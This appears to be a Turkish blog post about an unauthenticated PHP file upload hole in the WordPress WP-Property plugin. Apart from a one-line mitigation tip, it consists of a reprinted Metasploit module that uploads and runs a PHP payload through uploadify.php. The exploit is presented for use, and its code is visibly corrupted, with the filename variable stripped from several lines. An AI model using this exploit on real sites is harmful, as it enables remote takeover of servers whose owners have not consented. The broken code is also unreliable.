WordPress WP-Property versiyonunda PHP File Upload Açığı bulundu. Açık sayesinde php shell upload edilebilmekte, servere erişim sağlanmaktadır. Açığın oluştuğu upload dizinini geçici olarak silmek yerinde olacaktır. Açık metasploit tarafından bulunmuş olup, açığın kullanımına ilişkin exploit aşağıdadır.
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'msf/core/exploit/php_exe'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress WP-Property PHP File Upload Vulnerability',
'Description' => %q{
This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress
plugin. By abusing the uploadify.php file, a malicious user can upload a file to a
temp directory without authentication, which results in arbitrary code execution.
},
'Author' =>
[
'Sammy FORGIT', # initial discovery
'James Fitts <fitts.james[at]gmail.com>' # metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '82656' ],
[ 'BID', '53787' ],
[ 'EDB', '18987'],
[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]
],
'Payload' =>
{
'BadChars' => "\x00",
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 26 2012'))
register_options(
[
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
], self.class)
end
def check
uri = target_uri.path
uri << '/' if uri[-1,1] != '/'
res = send_request_cgi({
'method' => 'GET',
'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"
})
if not res or res.code != 200
return Exploit::CheckCode::Unknown
end
return Exploit::CheckCode::Appears
end
def exploit
uri = target_uri.path
uri << '/' if uri[-1,1] != '/'
peer = "#{rhost}:#{rport}"
= "#{rand_text_alpha(5)}.php"
php_payload = get_write_exec_payload(:unlink_self=>true)
data = Rex::MIME::Message.new
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{}\"")
data.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
print_status("#{peer} - Uploading payload #{}")
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
})
if not res or res.code != 200 or res.body !~ /#{}/
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
end
upload_uri = res.body
print_status("#{peer} - Executing payload #{}")
res = send_request_raw({
'uri' => upload_uri,
'method' => 'GET'
})
end
end
